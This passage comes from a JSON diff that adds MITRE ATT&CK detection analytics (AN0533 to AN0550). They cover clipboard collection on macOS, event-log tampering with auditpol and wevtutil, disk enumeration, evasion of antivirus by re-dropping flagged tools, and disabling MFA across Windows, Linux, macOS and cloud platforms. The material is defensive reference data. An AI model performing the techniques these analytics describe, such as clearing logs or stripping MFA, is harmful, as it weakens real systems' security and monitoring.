scripting engines to monitor (e.g., bash, python, perl)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f6ad51e5-b869-455d-acb1-ef725acb27cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0186#AN0533", + "external_id": "AN0533" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0533", + "description": "Use of pbpaste, AppleScript, or third-party automation frameworks (e.g., Automator) to collect clipboard or file content in bursts. Observable via unified logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "logMessage contains pbpaste or osascript" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "subsystem=launchservices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AutomationTool", + "description": "Detectable script interpreters or clipboard tools (pbpaste, osascript)." + }, + { + "field": "ClipboardCheckRate", + "description": "Threshold for how often clipboard access occurs within a given time window." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--00b2801f-752e-4b70-95fd-c2644ccef671", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0186#AN0534", + "external_id": "AN0534" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0534", + "description": "Suspicious sign-ins to Graph API or sensitive resources using non-browser scripting agents (e.g., Python, PowerShell), often for programmatic access to mailbox or OneDrive content.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Operation=UserLogin" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgentFilter", + "description": "Filter for scripting agents (e.g., Python, PowerShell) which may vary by org." + }, + { + "field": "ExpectedClientIPList", + "description": "Set of known internal or managed IPs to filter benign automation." + }, + { + "field": "DeviceProperties", + "description": "Expected managed device profiles used to detect unmanaged devices." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--705168ad-1701-453c-9aea-c75029492b89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0187#AN0535", + "external_id": "AN0535" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0535", + "description": "Detection of attempts to disable or tamper with Windows Event Logging. This includes stopping or disabling the EventLog service, modifying registry keys related to EventLog and Autologger, using `auditpol` or `wevtutil` to disable categories or clear audit policies, and detecting suspicious gaps or resets in event logs. Defenders observe registry changes, service state changes, process execution of disabling commands, and anomalies in event record sequences.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "WinEventLog:System", + "channel": "EventCode=7035" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Security", + "channel": "EventCode=1102" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminAccounts", + "description": "List of accounts authorized to legitimately modify audit policies or disable services." + }, + { + "field": "TimeWindow", + "description": "Correlation window between registry modification, service stop, and audit policy commands." + }, + { + "field": "ServiceNames", + "description": "Customizable set of monitored services such as EventLog, Sysmon, or custom loggers." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ffd3332-fcc0-440d-b717-ef98e140c543", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0188#AN0536", + "external_id": "AN0536" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0536", + "description": "Drive enumeration using PowerShell (`Get-PSDrive`), `wmic logicaldisk`, or Win32 API indicative of local volume enumeration by non-admin users or executed outside of baseline system inventory scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "user_context", + "description": "Non-system accounts performing drive enumeration may be higher fidelity indicators" + }, + { + "field": "parent_process_name", + "description": "Baseline parent-child process lineage can help distinguish admin tools from malicious scripts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a7052d7-84f1-4116-bdb1-49bbe8709e3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0188#AN0537", + "external_id": "AN0537" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0537", + "description": "Abnormal use of `lsblk`, `fdisk -l`, `lshw -class disk`, or `parted` by non-admin users or within non-interactive shells suggests suspicious disk enumeration activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "command line arguments containing lsblk, fdisk, parted" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TTY_type", + "description": "Detection can exclude interactive TTY sessions to reduce false positives from admin usage" + }, + { + "field": "shell_parent", + "description": "Differentiate between interactive user shells vs. script-based execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a98fc9c5-9c4c-47c5-a773-d68b523c7304", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0188#AN0538", + "external_id": "AN0538" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0538", + "description": "Disk enumeration via `diskutil list` or `system_profiler SPStorageDataType` run outside of user login or not associated with system inventory tools", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process launch of diskutil or system_profiler with SPStorageDataType" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log messages related to disk enumeration context or Terminal session" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "launch_agent_context", + "description": "Unexpected use of disk enumeration tools from GUI apps or LaunchAgents may indicate abuse" + }, + { + "field": "volume_name_filter", + "description": "Filter known baseline volume names or identifiers used by common device configurations" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--478e6298-d012-4337-b2ed-0f8d4909ee05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0188#AN0539", + "external_id": "AN0539" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0539", + "description": "Use of `esxcli storage` or `vim-cmd vmsvc/getallvms` by unusual sessions or through interactive shells unrelated to administrative maintenance tasks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:hostd", + "channel": "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "esxi:auth", + "channel": "interactive shell or SSH access preceding storage enumeration" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ssh_source_ip", + "description": "Restrict alerts to unexpected remote sessions accessing host storage commands" + }, + { + "field": "esxcli_command_scope", + "description": "Tailor detection based on subcommands more likely to be abused" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2c94147a-a556-4fa1-92f8-d3c4367f6f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0189#AN0540", + "external_id": "AN0540" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0540", + "description": "Detection of known tools or malware flagged by antivirus, followed by a near-term drop of a similar binary with modified signature and resumed activity (execution, C2, or persistence).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "EventCode=1000-1026" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AVAlertMessage", + "description": "Vendor-specific signature string or detection message that can be correlated to threat intel context." + }, + { + "field": "TimeWindow", + "description": "The time between AV alert and similar file/process activity (e.g., 5\u201330 minutes)" + }, + { + "field": "FilenameSimilarityThreshold", + "description": "String or hash similarity thresholds between original and modified binary." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--66bab948-9baa-4f5c-b259-333eb2ac08ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0189#AN0541", + "external_id": "AN0541" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0541", + "description": "Detection of anti-malware quarantining or flagging a tool, followed by a new binary written to disk with a similar function or name and a resumed process chain.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "open, rename" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "file_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "EDR:detection", + "channel": "ThreatDetected, QuarantineLog" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathWatchlist", + "description": "Tunable list of directories often abused for dropped binaries (e.g., /tmp, ~/.cache, /opt/soft/)." + }, + { + "field": "ProcessAncestryDepth", + "description": "Limit how far up the tree to trace tool modification behavior for detection." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ef92295-ecbf-417a-b72a-f6cd189ca3a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0189#AN0542", + "external_id": "AN0542" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0542", + "description": "Detection of XProtect or AV quarantining a known tool, followed by modification (file size, hash, string) and subsequent re-execution by the same or related user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "quarantine or AV-related subsystem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinaryChangeThreshold", + "description": "File hash delta or binary string diff score to tolerate renamed/mutated variants." + }, + { + "field": "UserContext", + "description": "User or group expected to use dev tools; reduce false positives from legitimate repacking." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--97cb8df9-f100-4a64-802a-1aa2f45c26eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0543", + "external_id": "AN0543" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0543", + "description": "Detects registry and Group Policy modifications that disable or weaken MFA, suspicious PowerShell usage modifying MFA-related attributes, and anomalous login sessions succeeding without expected MFA challenge.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=4739" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:PowerShell", + "channel": "Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedAttributes", + "description": "List of AD attributes or policy fields tied to MFA enforcement that may vary by organization." + }, + { + "field": "TimeWindow", + "description": "Correlation window between MFA policy changes and anomalous login behavior." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--33b7f7b2-b79c-4893-bd5c-2d5638bf5786", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0544", + "external_id": "AN0544" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0544", + "description": "Detects conditional access policy changes, exclusion of accounts from MFA enforcement, or registration of new MFA factors by non-admin or anomalous users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "azure:signinlogs", + "channel": "Modify Conditional Access Policy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "User excluded from MFA or MFA method registered" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedRoles", + "description": "Roles permitted to modify MFA settings in IdP; helps tune detection of unauthorized changes." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3090db89-83c0-44bc-a17d-7cb2a6aecb87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0545", + "external_id": "AN0545" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0545", + "description": "Detects API calls to cloud secrets/MFA configurations where MFA enforcement policies are disabled or bypassed.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "UpdateIdentityPolicy or DisableMFA" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServices", + "description": "Specific cloud services or IAM policies relevant to MFA enforcement." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d0a9cbc4-d190-44fb-b067-27153e35dc49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0546", + "external_id": "AN0546" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0546", + "description": "Detects PAM module modifications or removal of MFA hooks in /etc/pam.d/ configurations, correlated with successful authentications lacking MFA prompts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write to /etc/pam.d/*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "NSM:Connections", + "channel": "Successful login without expected MFA challenge" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFAHooks", + "description": "Paths to organization-specific PAM modules enforcing MFA." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3a19d0ff-833f-47ae-81a0-2516e91c7b25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0547", + "external_id": "AN0547" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0547", + "description": "Detects modifications to authorization plugins responsible for MFA enforcement and correlates with suspicious login sessions missing MFA prompts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of /Library/Security/SecurityAgentPlugins" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "Login success without MFA step" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedPluginPaths", + "description": "Paths to organization-deployed MFA authorization plugins." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81c940cd-633b-4f88-9f8f-f6837a7026bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0548", + "external_id": "AN0548" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0548", + "description": "Detects suspicious MFA method changes, such as registration of weaker factors (e.g., SMS), or removal of MFA requirements for specific accounts or groups.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "saas:zoom", + "channel": "DisableMFA or RegisterNewFactor" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AcceptedFactors", + "description": "Configured MFA factors allowed in SaaS environment; tuned to organizational policies." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1193139d-0032-4d0b-88f1-c140abe2c964", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0549", + "external_id": "AN0549" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0549", + "description": "Detects MFA bypass attempts by modifying tenant-wide authentication policies or excluding high-value accounts from MFA enforcement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Set-CsOnlineUser or UpdateAuthPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPolicies", + "description": "Specific tenant or suite policies tied to MFA enforcement." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc4d944f-975a-4057-8edb-deb023db387c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0191#AN0550", + "external_id": "AN0550" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0550", + "description": "Abuse of ClickOnce applications where rundll32.exe invokes dfshim.dll with ShOpenVerbApplication or dfsvc.exe spawns unexpected child processes or loads unsigned modules.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 